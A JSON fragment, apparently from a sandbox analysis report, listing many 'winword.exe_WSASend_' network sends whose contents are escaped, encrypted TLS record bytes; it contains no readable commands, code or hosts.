                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04#)\\xaa),\\x91y\\x8b8s\\xcd\\x9dx\\x85\\xc4\\xb6\\xa1\\x1amu<x|\\xe3\\xa6i\\xfaf\\x97&b\\xbftxw\\x85\\xea\\x12n\\x150\\x97\\x89\\xfe,l5\\xff\\x82\\x91\\x14\\x14qf`\\xd8\\x0c,\\x0e\\xd8d\\x9eq$\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x1e[{u\\x82\\xb3\\xef\\xd7 \\xe5q\\xb5\\xe1\\xe1d\\x89\\xb0o3\\x05\\xf2\\xb3t\\x8d@er\\x8b\\xb8\\xf5\\x98\\xbay\\x00\\xf7\\x08\\xb3|\\xc0\\x90r\\xbd\\xae(\\xf9\\x8c\\x01\\x04"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x049\\xcb)\\xb0\\xc9\\x06\\xd6\\x05s\\xef-\\xd9\\x98\\x02\t\\x92\\xf1d\\x9d\\xdf\\x84\\x07\\xa0\\x14\\x13\\xbf\\xed\\xd7/\\xe2\\xb0\\xf2^v\\xc3tf`\\x8f\\xda\\xc9\\x8ea,\\xe8\\xb8\\xb0\\xbd\\x19\\x8f\\xb1\\x16q\\xfd\r\\xe9\\xb8\\x1d\\xc9\\x8d\\xc6\\x91/\\x1b\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x03\\xb6/|\\xe3\\xd2\\xab,\\xd8\\x13(\\x94\\xf5\\x9b\\xeb\\xb3\\xafj\\xc0\\x13\\xd8?b\\xedbon\\xe5c\\xfbk\\xc9\\x05\\xac\\x04\\x8d\\xb1!r\\x98~>\\xbc\\xfa\\x01#\\x8c\\x89"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04s\\xff\\xae\\xc6x\\xabj\\xa2\\x8ej\\x88u\\xfa\\xa7dw\\xf1l\\x7f\\x83\\x1b6r1\\x07\\xc4|\\x1a\\xbc\\xab\\x89(g\\xc6\\x9d\\xdd7\\xcd\\xe68q\\xe4\\\\xd4h\\xc2\\x8cy\\x7fv\\xff\\xfc\\xab\\xa2\\x8c\\xc8\\x0eb\\xa3\"rm\\xa0/\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x8at\\xb0\\xa4\\x00\\x04\\x7f\\xf3p\\x14\\xc2\\x11\\x11\\xfd\\xc9q<x\\xe4\\x10\\x8fk\\xa3\\xden\\xf9n7+\\xe0\\x83en\\xde\\xf9\\x8c\\xc2\\xab\\x84\\xcfj\\xaf\\xed\\xf3og\\xec\\xa0"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xee\\xe2\\xa5{\\x82\\x93\\xb0\\x8c3\\xfav\\xe3\\x15\\xaeo\\xf0\\xf2\\xefv\\xdc\\xc4}$4\\xe4\\xb6\\x0fl\\x10\\xc7\\xbb_\\x89%\\x01\\xe7\\x85@e\\x1f'\\xeb1p\\xf3\\xcb\\xa8-\\x88*\\xe8r\\xa5\\x8d\\x14\\x88\\x9f\\x0f\\x10\\x84\\xe4\\x13(?\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x18y\\xbeb!\\xfe\\x0ej/\\xe2\\x8b&\\x03\\xba1@\\xc04\\xba;\\xc0\\xe1li\\xe0\\xfdh\\xb2\\xbfg\\xd0\\x8a\\xf9\\xf9g+%e\\x8d\\x08\\xfbb5\\xd8\\xd5arw"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x93\\x92\\xb1\\xed\\x87\\xb65\\x9a8\\x9a\\xc4\\xf3\\xd2\\xc9@)+{\\xad\\xb5\\x92\\x0b\\xa8\\x07!\\xf8\tm\\xa6\\xb4|\\xc6\\x8b\\xe5s\\x1b!\\xa4z\\x12k\\x14\\xd1{\\xe1\\x04u=\\x04\\xdb\\x84-'\\x18\\x9b\\xa9\\x96dx\\x18\\x80@\\x8ft\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x03\\xa3\\x0b_;\\xf3\\xde\\x17\\xd6\\x9f\\xd5\\x1d\\x8b;\\xb9\\x13\\x98\\xed\\xa2\\x86\\xdb\\xd8\\x99\\xcbt\\xd2\\xb8\\xe8x\\x0c&c\\xb4\\x19x\\xd7\\x15p\\x15\\xf2\\x19y\\xf9\\x138\\xebh\n"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04j\\xc7\\x8e;w\\xbd\\xed\\x19y\\xb1\\x0c\\xb8\\xec\\xdfg8m\\x08\\xeew\\x9e\\xea \"\\x17\\x91\\xaa\\xc5le|\\xb8\\xda/\\xda*\n\\xce\\x80\\xe1\\xff\\x01z\\xd2l_\\x8e\\x9d\\x18\\x13\\xbc\\xd7\\x08i\\xe7\\xe7\\xf6\\xae(\\x1b\\xadhn\\x8f\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000b\\x10\\x97?\\xd5mz\\xf5\\xbe)\\xf7\\xc1\\xa4\\x01\\xe0\\xe2\\x10\\x0c\\xb3\\x81d\\x10\\xf1\\x15\\x86\\xd9\\x85\\xc0g4\\xe8\\x9d\\xea\\xf9\\xdf\\x8e\\x8c;\\x9b\\x089~,\\x860\\x93\\x9e\\xa1"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf2?:\\xce\\x13y\\xf2\\x92f|\\x82a\\x1dt\\xfa\\x157\\x0c\\xc5u\\x8d\\xad\\x1a\\xa6\rp\\x19e^\\x11\\xcd\\x00\\x16\\x96jr&\\xe4\\x18\\x8cue\\xc2o\\x17_ \\xe9\\xec\\xe9\\xf9{\\xfcp\\xe1\\xb8\\x06\\xc5>\\x81\\xe0\\xef\\x98\\xfe\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000.\\xcd\\xe0\\xbb:\\xbb\\xf5g\\x00\\x0b\\xf3\\xb7\\xe3\\x8a\\xef[\\x983\\xf1\\x93j;\\xcc\\xc2\\x8c\\x949\\x17\\x1f\\x86\\x06\\xec\\x03\\xa7\\xc5\\xab5\\x14\\xa9\\xf5\\xff\\xb6#w\\xa3\\x0c\\xc5\\xbf"
            },
            {
                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x15\\xde\\xb6\\x00z\\x8c\\x07\\x05%)#\\x80\\xafn\\xd1\\x03y\\xaa\\x02\\x85(\\x87\\x1f\\x07,\\xc7\\xed\\x9f_xb\\xc0\\xa2\\x83&\\xb9\\xf3h{\\x1a\\xc4\\x00\\xac\\xb6s\\x04\\xd3\\xcfx&\\xf9 \\x8d;\\xea@(\\xdbx\\x88\\xc1\\xb3\\xd8\\xba\\xf1\\xa9\\x9c\\x1f\\xe6\\x14\\xac?\\x7f\\x14\\xa5^\\xfb\\x86\\xa3q\\xff|\\xfd\\x88\\xbe\\x80\\xf1(c\\xca\\x94\\x10[\\x88\\xd8\\xad\\x92\\xf8\\x0c\\xbd\\xf3\\x8f`\\xa4\\x93\\x91\\x80\\xcdk5\t+m\\x9aj+\\x06d\\xf3\\x08\\\\xe2\\x82\\xd2\"+\t\\x8d\\x8e\\xb7\\xd9\\x0bh\\x86\\x9aqp\\xb1\\xd5;g,\\xa1\\xee=\\x03k>\\xa6zk\\xff\t:\\x8f\\xafy\\x9c\\xa4.r\\xea\\xefa\\xa5\\xeff\\x12v|y\\xecm\\xb1|\\xa3\\x16\\xab\\xf2\\xce\\xb6x\\x8f\\xe4\\xb0.\\xa6q\\xc9\\xa0\"<\\xee\\xa7j\\x19~\\x86\\xd0\\x0bl\\x12\\x8d\\x00\\xd9\\xe4\\x7f\\x02\\xe5\\x84k\\xd9\\x88t7\\xf6\\xac\\x89\\xe5\\x8d\\xb3?\\xadr,o\\x1a\\x99+\\xd0\\xa5\\x99\\x7f\\xf6\\xbeds\\x0f\n\\xdb\\xfb\\xc2\\x86e\\xa1e\\xc7\\xf9b\\x85\\xc7"
            },
            {
                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x0100\\x83\\xe5\\xf1p\\xa1{\\x07\\xe0\\xaa+\\xd2\\xf0\\x1fbb\\xacl\\x9cx\\xbb\\xcf\\x9a\\x84\\xc8%\\x01\\x1djg\\x9f\\x8a\\x15\\xd1j2\\xeb\\x8c\\xa2\\x08\\x9afa\\xd3\\x191\\xda\\xb7\\xcd\\x07\\x8b\\xdb\\xef\\xf6\\xb8\\x8e\\x03p}\\x9fa\\x8bo*\\x8bg\\xd3\\x1f\"qo\\xc5\\x0e\\xac\\xbbs\\xea\\xb0\\xb7\\xd5<jt\\xab\\xe4\\xc1}]u\\xb9v\\xe0\\x92\\xe45p\\xfe\\xcc\\x8d\\xa4\\xbb\\x9d\\xf5\\xe0i\\x12\\xc0psu\\xdce\\xeb}\\xc8%t\\xdf\\xbc\\xdd\\xb5\\x0cr\\xbeq\\xab\\x8a\\x9b\\x9f\\xd9@\\x98:c\\x1f}4p\\xe8\\xaf\\xdb\\x8d\\xfb|\\xfb\\xc8y\\x19l!\\xff\\xd9\\xe9x\\xf36s\\xe0\\xdf\rm\\xbd\"on\\xfe\\x93(\\xb2\\x17,\\x99\\xfb\\xadi\\x03$\\x1c\\xb6\\xac5\\xd3/m\\xf6\\xb4i\\xe7d\\xe1\\x95w!\\x0bt\\xe2\\x86\\xf3\\x18\\x90\\xdd\\xdc\\x08\\x93\\xf0\\x1a%m\\x9f!\\xecna~\\x07\\x83m\\xa8\\xc6a~\\xe9&\\xf8?\\x06\\x9c\\x10\\x91\\xc1\\xc6\\x9d\\x17#\\x04eh\\xbf\\xe0\\xa5\\x08f\\xc1'\\xa0\\xc9\\xe7\\x9e<k\\xac"
            },
            {
                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x856pp\\x1c\\xfesj\\x00\\x8b\\x90\\xed3\\x0e\\x10\\xa2\\x17ql\\xa2v\\xb8~\\x17\\x98\\x05\\xf3\\xa6\\xf5\\xcf\\x1fv\\x9f\\x82+\\xbae\\xfe\\x05ok8\\xe4\\xe7e\\x00\ni\\x04\\x12\\x934+=m|d\\xe6\\xcf%\\xed\\x94\\xed\\xb0\\xa9o\\x82\\x18\\xf1\\xba\\xa2\\x95,\\x91ovk\\x1a\\xaa.\\xbaiga\\x86\\xbe\\xff$\\xe3\\xe1\\xe1\\xe4;7\\xdf\\xa4d\\xc4\\xd8r\\x9e\\xe2\\xe9a\\x01\\xb1e\\x05\\x10\\xe4#b\\xaf\\xeb\\x9e5\\x80d\\xe6\\x8d\\xe1\\xa5b\\xe6\\xfey\\xf4)\\x0f\\x9e6!\\x15t\\x021\\xc0\"\\xac!\\x07\\x14\\xa2h\\xd7\\x01~s^\\xf2 \\xa5\\xe0 z\\xbe7\\xc9\\x81\\x850\\xa5\\xf56\\xbd\\xf4\\xa7\\xd9)\\xecm$\\xa8k\n9\\x92\\xb6\\xb4\\x9bm ig\\xdcmwf\\xb5\\x1a`\\xdb\\x18\\xda\\xa4\\x98\\xfe9*\\x85\\x89\\x8cf4\\x07\\x06\n\\x04\\x8d\\xd4\\x19\\xcb\\xa5\\xd3\\x92\\x02\\xbb\\xde\\x08\\xca\\x1a\\x16`8;w\\x07\\xcb\\xd7\\xf6\\xc0\\xf7\\xa4\\x92b\\xda\\x9d\\x126u{\\xf4\\xb7u\\xd1\\xbf\\x1e\\xaa\\x03]2"
            },
            {
                "http_request": "winword.exe_WSASend_(\\xffz\t\\xa8\\xc4z\t\\xceu)t\\x14f|\\xfejj\\xb5\\x1c\\x9a\\x03?\\x8a\\x19\\x9dw\\xf4\\x81\\xff\\xf4*\\xc8l)\\xa2j\\xac\\x8bj\\xd22\te\\xdb7\"\\x8a\\x1f\\xfaig\\xf9\\xb7\\xed\\x08\\x92)rc\\xdc=vu>\\xe9c\\xd9b\\x0e\\x8c\\x92\\x9c\\xcbj1h~u\\xcd\\x96\\x16\\x91ge$\\x03y;%%\\x8f\\xa9\\xc2\\xb3\\x80r\\x96\\xeb|\\xd3\\x08\\x13\\xbbf!\\xe5\\x98\\x9e\\x8f\\xcdf\n\\xe3\\xd2\\xee\\xc0\\xba\\xbe\\xb6\\xd2\\x10\\xf2\\xa8\\x94(#\\xfc\\x16\\xa0\\xa7tje\\x89ai'\\x0f\n\\x07\\xf67pk\\x84af\tm\\xb6\\x1f\\xc9\\xb5\\xb8\\xcc\\xee!d2'\\xcd\\xef.\\xa1g\\xea\nxmj\\xa3\\xe2\\xf5\\x17\\x0e>!\\x88\\xeed*g\\x13\\xb7\\x9c\\x04e\\x10\\x9b\\xb2\\x1b\\xce\\x80\\x9d\\x1ea'\\x11~\\xae\\xc6\\x1e2{j\\x14\\x9f\\x8d(\\xf1\\xf5\\xa3\\xc1u\\x8b\\xea\\xa9\\xb7\\xee\\xd1bn(\\xd3\\x9e\\xfe\\xc0k\t\\xbd\\xd3\\xe7\\xb6w\\x92\\x164\\xbc|\\x95s\\x89\\xa7\\x1c\\xa9\\xef20\\x94\\x04n\\xcc\\xa4\\xe4\\xbd"
            },
            {
                "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x0645}\\xd8\\xeap+un\\x89cz\\xda}\\xa1/\\xca\\xb7\\x9f\\x98\\x83\\x85\\x85\\xf2\\xc5\\x9cn\\xe1\\x8b\\x85\\xbf\\x89\\xda\\xbc\\xbd\\xc9\\xe15bc~\\xca\\xc5\\xab|\\x84uxn^b7\\xa7\\x8b\\xbei\\xed\\x12\\xe3_\\xa8sn\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000<\\x11\\xe1\\x8c\\x15[\\xe5\\xe6\\xa2=\\x92\\xd0\r\\xf4 :t#\\x8d\\x87\\xe6\\x07\\x7f\\x84\\xca\\xdc'\\xf3n\\xd4\\x01\\x96\\xacw\\xf8\\xe7z\\xb3\\x0f\\xe6 \\x1dvx\\x0b\\x10\\xef%"
            },
            {
                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xf2*_\\x7f\\x004\\x8e\\xd9\\x85\\x9cn\"rf\\xcbn\\xa5\\x15\\xea\\x99\\x8a\\xd4\\xbd\\x8f~\\xaf\r\\xb9\\x88\\xef\\xc5k\\xb7\\xafr\\x03'5\\xd8\\xb2 \\xe2-\\xb9niy|f\\x1f\\xbe\\xa9k\\x17\\x03\\xc3\\x16\\xe4e\\xf7\\x01\\x1c\\xba\\xd6\\xd4%\\xe3-\\xfa9?\\x13n\\xf3<\\xdafm\\xf0\\xd7\\xe3\\xa9\\x80\\xbe\\xcb%o\\xce\\x8e\\xcc\"\\x98\\x96tg\\xf2a\\x82\\x81`\\x87q\\xa9\\x9a\\xe8\\x04\\x88m\\xdd\\xb0\\xd8\\xfe\\xc4\\xc1\\x90\\xebg\\x0f\\xa7}\\xd90\t\\xeb\\x7f\\x9c\\xd9\\xce\\x9c=\\x7fb8\\xcf*\\xc7gh\"\\xbd\\xec\\x1e\\x08\\xa6\\x8b\\x06~\\x82\\xe32y\\xea\\xb2\\x11\\x12 \\x8bq\r>\\x89\\xc2\\x03\\x18\\x01\\xab\\xe2\\x9do\\xe3\\xe7\\xad\\xb3a\\\\x17'\\xae{c\\^ y/\\xddw\\xc1\\x90\\xcc\\b7\\x0e\\xc8\\xe0\\xfee\\x03q\\xf7gn!\\xeb\\xdb\\xb1c\\xeabm\\xe9{r\\x1a\\x80i\\xa9\\xfe\\x86\\xb4\\xf6:z&\\xd5\\x03\\x0b\\x03{\\x1c5\\xe2\\xe2`\\xd5>tg\\xd3\t\\x93i\\x9erq$\\xef\\xb8\\xf1\\xc1"
            },
            {
                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010tf\\x19[)\\xa7\\x80\\xf7\\x90\\xa2\\x12\\xe8\\x9a\\xadgkj\\xc5\\x8bi\\xdf+\\xfc\\xac\\xb7\\x18\\x82\\xad8\\x9fpq\\xe2\\x7f\\xa0\\xf8\\x87bvr\\xa3q\\xec\\xae_\\x9f\\xde\\xd5\\xe3\\xa6\\x03\\x94k\\xd9 l\\x86\\xfb\\xc6u\\xd1f8\r\\xf0\\x05\\xd7\\x17\\xbal\\xac\\xbb\\xa6d\\xbb\\xaa\\xba\\xda\ns\\xf7+z\\xc4\\x85.\\xaa\\xd0\\xfb'\\x1d?\\x12\\xc1g\\xe3\\xb1\\xe6$\\x80\\x1fk\\xbc\\xca'*d.\"\\xcf\\xb0\\xe5\\xbc\\xf3\\x039/\\xffh\\xd0\\x01\\x9ey\\xa3^\\x94e \\xb5\\xd0\"~\\xce\\x88\\xff\\xc43u\\x9dmu\\x18\\xb1,\n\\x0f #\\x83\\x88rm\\x04g\\x87\\xd5t\n\\xfa\\xa5\\xdch\\x1a\\xd6=\\x9d\\xe1\\xfa[db\\xe9\\x96\\xb5qy\\x97\\xb2b\\xacs\\xb9;\\x91z\\xeb\\xf1.$\\xff\\xa0\\xce\\xcc\\x1c`\\xef\\xa9rf$3\\xec\\xb6\\x1b\\xed0\\xe9kd\\x9d\\xa0j\\xcb\\x9e\\x81\\x8bc\\xcd\\xa7q\\xa2(%\\x04\\xa5c\\xef0t\\xc3d\\x13\\xfa\\xdd\\\\xa9\\xc5\\xfd4\\x93u\\x06ek\\x96# \\x97\\x111\\xfb"
            },
            {
                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xeekw\\xfe\\xfa%\\x07u\\xd0\\x11rsw\\x89\\xe6\\xb2\\x94o\\x93ob\\x16\\xda\\xad\\xbf5\\x08\\xec\\xe9q\\x1d\\xc4\\xf3\\x08\\x0e\\xb4\\xe2f\\xfd\\xff\\xc4\\xc1\\xce\\xb4\\x8b\\x821d\\xf2j\\xfb\\xc7r(\\xfb=\\xdc\\xa2\\x99\\xb0\\xed\\x1b6\\x06d\\xa4\\x8b+\\xcb\\xf9\\x107\\xcb!wq\\xcf o\\xa32\\x9bo\\x10\\xcc~4\\x88\\xa8_k\\x19\\xb4{\\xca\\x80\\x8d'\\xe7\\x03\\xa1\\xebn%\\x80s\\xd4^\\x81\\x02$@\\xe2\\xda\\xe3\\x0bv%\\xcb\\x07g\\xd5\\xc4\\x1f\\xd6? \\x862j$\\x02\\x9c\\x10\\x1f\\x05~\\xf4olo\\xa3\\x17#d\\xae\\xe9\\xa0\\xac\\xfe=\\xdfb\\xc4\\x89\\x89\\xba\\xbau;\\x96kvi\\xf3\\xf8\\xfab\\xa8\\x85w\\x05o|`\\xf6\\x05{\\x19\\x07s\\xf0\\x02\\xad\\x1b\\x13\\x97\n%\\x08\\xb9m'\\xf8g\\xacj\\xe2\\xc5\\xac\\x1d\\x9e\\xf0w\\xbc\\xe9<\\x9d\\x05|/\\xfbq\\x07\\x83,`\\x1a\\x01\"\\xbc\\?\\xf8\\xff(y\\+\\xa1\\xa8\\xcf\\xe3\\xcb\\x12\\x0fu~c\\x1dh\\x0b}\\xbd\\xcb]\\xd7\\xf7\\xf5?:"
            },
            {
                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xc0$e\\xbd\"1\\xad}[\\xa2\\xae>\\xb4\\x84\\x00\\xc1\\xcd\\xfe\\x88\\xb8x\\x06\\xcf\\x05\\x19v}^\\xc5\\xc9\\x84\\x14\r\\xdb\\x08\\xca/+%\\x82\\xd8\\x800\\x1bw\\x8d\r%\\xd5\\xcd\\x18\\x97i\\xf0\\x1c\\x03ht\\xb7j\\xeab\\xfc\\x15\\x1dy\\xed`\\xab\\xce\\xd1\\x8b\\xd2\\x83x\\xf8\\xe2\\xd9\\xc1=\\xec\\xcdc\\xd2\\xb7\r\\x0cxy\\xf8)\\x12p\"/\\xc0\\xd3p\n\\xaav\\xc1j\\xb4di\\xe9\\xe8\\x82\\xd5\\xe3\\xbbc\\x01c\\xd3\\x157\\xe7\\xf2\\\\x97^\\x03\\x81\\xa8\\xb4\\x93\\xd8\\x1b\\xeb\\xbcw\\xd9\\x8d4\\x0c\\xca,|7\\xbe\\x15\\xbe\\xf3pm\\x90\\x9a\\xf2y9gz\\xeb\\xd7z\\x13\\x85\\xb8\\x0bp\\xf8\\xc53\\xb6\\xec\\x8b\\xe2e\\xc3t`$\\x80g;\\xfe\\x90\\x1b\\xc7e\\x83l\\x85j\\x00\\x10\\xdaq\\x11f\\xbd\\xf6\\x9a\\x95\\xeb\\xe1\\xee\\xf0\\xe1\\xe8\\xa1\\\\xdc,\\x1b7k\\xab\\xf5\\xae=\\xa2\\xcb\\xb7 -\\x96\\xd6\\xca&\\x06\\xaam7huwm\\x16s\\x14g\\xaa\\xe7yc>i-\\xb2\\x8c6\\xc8\\x943f\\xf5\\xb7\\xdf"
            },
            {
                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xe8\\xe9\\xf4\\x93\\x0cw\\xbbe\\xb7\\x03\\x9b\\xfb2?\\xcc\\xff\\xfd\\x81a\\x8c\\xb8.\\xa9c\\xe3\\x1c\\xc8\\xd3\\xee \\x84\\xad\\x86\\xe7q\\xc8\"hm\\x8c\\x07\\x16\\xc2by\\xb63d0\\x00\\x97$f\\xb6\\xac5\\x00f\\xe9\\x87\\xcc\\xd0>\\x91\\xe4]\\xe9[u\\x99:\\x17\\x96\\xf1k\\xbd\\xc1\\xc0\\xf0\\xb6r\\xcb\\xea\\x19\\xfd5/\\xff\\x08sr&z\\xef\\xf9\\xc9\\xad\\x89\\x13 e\\xfe0\\xb6[\\xa2\\xc8a\\x92?\\xa8v\\x1d\\\\xd5\\x18\\x08\\xdb\\xf0\\x10z=\\x17\\xf6h\\xe0\\x87!t\\x88\\xf3 \\xb5\\x85\\xd8,\\xab\\xd6v]r\\x1f6 \\xa0\\xab\\xfa\\x10p\\xd7\\x1b\\x82\\x96+\\xf4\\xc7+\\x8d\\x06y\\x1e*6\\x8a\\xe1\\x1dn\\x98\\xd1i\\x1ed5\\x83\\x0f\\xf1u|\\x06\\x88\\xb3\\x1d\\x19\\x81\\xdd\\x96as\\x99\\x7fo\\xb3\\xbe\\xd0=\r\\x80}^h\\x9buf&\\xa3\\xe7\\xad\\xe3k`\\xc5jj]\\xe4g\\x04g\\xf0\\xccdm\\x8e.\\xbb\\xb6\\\\xcfp\\x95\\xde\\xfe\\x12\\xd0.\\xc4\\xb0zwn\\xeb)\\x07\\xca\\x1c\\x7fb\\xc9\\xfb\\xe3\\xbc"
            },
            {
                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010a\\xf0\\xa8\\xcfxa^\\xd1\\x8e4oh\\xda\\xf1z\\x92\\xabn\\x1fy\\x1e\\xd8+v\\xa4v9\\xbc\\xef\\xa2\\x99u\\x1b\\x12~q\\x94\\xdfi\\xc7\\x1fakf^e_\\xb1s\\x98a\\x97\\xdd\\x8b\\xcf\\xe9q\\xb7<\\xf4\\x88\\x8e^\\x90\\xcf\\xe4i\\x96&\\xf3\\xa4\\x1d@\\xfd\\x9f\\xc0\\x9a0hg\\x8a\\xd2\\x8c+\\xf4f\\x8e\\xb2\\xd4\\xd3\\x9cwtw\\xfd\\x94<\\xc9\\x0c\\x0f2p\\x82\\xd7\\x18\\x1a\\x9a\\xe4yz\\xd2\\xbd\\x8f\\xa0\\xb5,h\\x8a9\\x8f0m\\xb4x\\x8a\\xf8=\\xe2\\xeay\\xd4\\xfb\\x82\\xeb\\xf1\\x977\\xa4 \\x99\\x16\\\\x1a\\x93\\x82#\\x7f\\xbf\rk?\\x11\\x1f\\xa88e\\xc8\\x8b\rg\\xe4\\xa6\\x16\\x8f\\xd5\\xed\\x92\\xa8\\xbfmqe5\\x8c\\x00t\\x96\\x10k\\xc48\\xb2@94\\xf4\\xd9gh\\xa8\\xfe\\x82h\\xba\\xfe\\x85+\\xc7\\x14v\\xb7b\\xe9\\xbb\\x829\\xdd\\xce\\x89\\xce\\xfd\r\\x85\\x18\\xd5cd\\xe9\\xaf;f\\x9c\\x02\\x86\\xcf\\xa2\\xd9\\x03t\\x07\\xeez\\xfd\\xfb\\x19:\\xa1\\x9eq\\xa8\\xeb\\x88\\xa25\\xe1/5\\xbc\\x06\\x119"
            },
            {
                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xb9\\xdb\\xd6\\x85\\xc2\\xdc\\xa7w]\\xf5c\\xe8/\\xec\\xd2)\\x85\\xdd\\xc4\\xaa\\xeb\\x9cu\\xc9\\xac\\x86:\\xb5~\\xc2_\\x16\\x0cd\\x19^\\xafy\\xa4\\x9d\\x16\\x1b|\\xb3\\x87\\x14\\xff\\xa8\\xedh\\\\xb6\\m\\xd7\\x0c\\x18\\xf6?}\\xdd\\x01\\xdbd\\xf7z39\\x9d]\\xf2jdv\\xfe8\\x91a\\xacd:{^\\xd2f\\x19$c\\xe2u7\\xebyp-p\\x80\\xa5=\\x96gow\\xe4\\xc2\\x80j+8\\x86~\\xdb\"\\xf7\\x8b\\xf0\\x1et\\xafby\\xe8\\xc8\"\\xf9z\\xd6c\\x8d\\xe92\\x1dt+h\\x1e\\xc9\\x02x\\xb1\\xc0\\xe2\\x9a\\xd6\\xd2f\\xe53\\x89`6d\\xe1d\\x04\\x85\\x9f\\xaf\\xa4\\x07\\xde\\xaa\\xcd\\x03\\x82\\xdc\\xaa\\xaew\\xed|\\x85\\xa7\\xd9\\xcb\\xf9\\xee2w\\xab\\xa7\\x8a\\x8fo\\xdc\\x10\\x1a\\xf9\\xb5e\\xd9\\xab\\xd6\\x0b\\x93\\x18\\xba\\x7fk\\x16\\x8e(\\x89*\\xb6\\x86af\\xa4\\x1dp\\xd0/\\\\xb9\\x86\\x19\\xea\\xeb\\xa3\\xddp\\x12jksq\\x8b\\xb2\\x92d\\xf6\\x86\\x03\\xe9a\\xed\\x97}\\xfex$v \\x91\\x0f\\x86\\x1b%8@"
            },
            {
                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010i;\\x02\\xc8\\xef\\x0b\\xf9\\x93\\x8d\\x19\\xf8'3\\xc8\\xb5\\x1f\"2\\xed\\xa6r\\xa1v\\x11@9t%\\xf8si\\x94\\xc7\\xcd\\x96\\xcd\\xb9d\\xfa\\xa4j2\\xda\n\\x84\\xb7\\xe2\\xc2\\xbc\\xc3\tf\r\\x98\\xca)\\xa4m\\xcb\n\"\\xe5\r\\x12\\xff\\x85p\\xe9\\xd0\\x15wk\\x90\\xdb\\xc8q\\x03\\x0e\\x92d\\xb2\\xa12a\\xfa\\x8c\\xc3b\\xd9\\xc1\\xb7m\r\\xd6\\xaa\\x84\\xb5\\xb8\\x87\\xfb\\xe1\\x8b\\xec\\xa9w\\x15\\x1c\\x08\\xcfy`\\xd1u\\x90qf\\xe6\\xcew}\\xc2\\x12\\xc2\\x8f&\\x81\\xc5e{\\xab\\xe8\\xba\\x14\\xbc%\\xc7\\xde\\x84\\xfa\\xf6\\xc5qzn\\x8c\\xbcq\\x8f\\xd0\\xd9\\xacx\\x1f\\x9b$\\xa5\\xf3\\xd0\\xf4\\x8b\\xa9\\xdd/\\xe0\\x02\\x03\\x8d?\\xa5\\xb2\\xaay\\xdc\tin\\xf6z\\x13\\x14'\\xc8~\\x90\\xd0\\xfc\\x0ej\\x1ewya\\xdd\\xc8t\\x9f\\x83\\x85 \\xde\\x9fr\\x9e\\x9c\\x04{g%s\\x14\\xbd!\\xdf\\x1d\\xc0\\x9a \\xc6`\\xc1\\x91\\xfe\\xff\\xf4\\x9d ^3\\xdf\\x15\\xf0\\xe4\\x05@8\\x9f\\xbdt\\x06\\x11e\\x93\\xff\\xad\\xf2i\\xe5\\xb7\\x87\\x07p"
            },
            {
                "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xcb\\xda\\xc3\\x83\\xe6fm\\x83w\\xca^\\xca\\xa5q\\xbd\\x88:i\\xbd+p\\xb7\\xdf\"\\x82\\xb0\\x91\\xe8\\xef\\xc9z\\x02m\\xb6\"\\x85\\xa0\\xa70\\xb2\\xf4\\xdf\\x86j\\xcc\\xcc\\x8b\\xd2\\xc7s\\x97\\x90\"\\x99$ad1t\\xcf\\x8d\\\\x8d\\xb0\\xba\\xc8g\\xd9\\x9b\\xe9n\\x1d\\x8c[\\xf59$\\xef\\xe5b\"\\xdf\\x8fo\\xc2\\xcd\\xc3[\\x05\\xf79g\\xd9\\xf0\\xefu{g*3\\x0c\\xa1\\x1e\\x9e]\\xf0m\\x9bi`:yy6)h\\xe1\\x99\\xe9u\\x07&\\x95\\x1c\\xa0\\xe82ent/\\xd4\\xafv$\\x04\\x14x\\xbc\\x97yq\\\\xc1h\\x7f\\xdc\\xbb\\xfda\\xa4\\xc5ax9\\x8eb\\xe9\\xfd}n\\xeb?x\\xe1\\xe8\\xbd\\x08\\x97\\xbf\\xc7\\xbe\\xd0x4+g-\\xbc(\\xe5 \\xf4q\\xa8\\xef\\x96\\x9c\\xea\\x00,}\\xfd\\x96c\\x1f\\xac4u\"\\x8c\\x1e\\xb0$\\xa2\\x1b\\x92\\xc0tk\\xea\\xb7'\\xdc=\\x08_\\xef\\xe7\\x86\\xb7\\x8dvu\\x9d\\xf7(8\\xee\\x00\\xdf\\x95\\xff`yf8\\xde\\xed'r\\xb9q\\xe7\\x9d\\x8d\\x83\\xdd\\xe9\\xb8\\xe9"
            },
            {
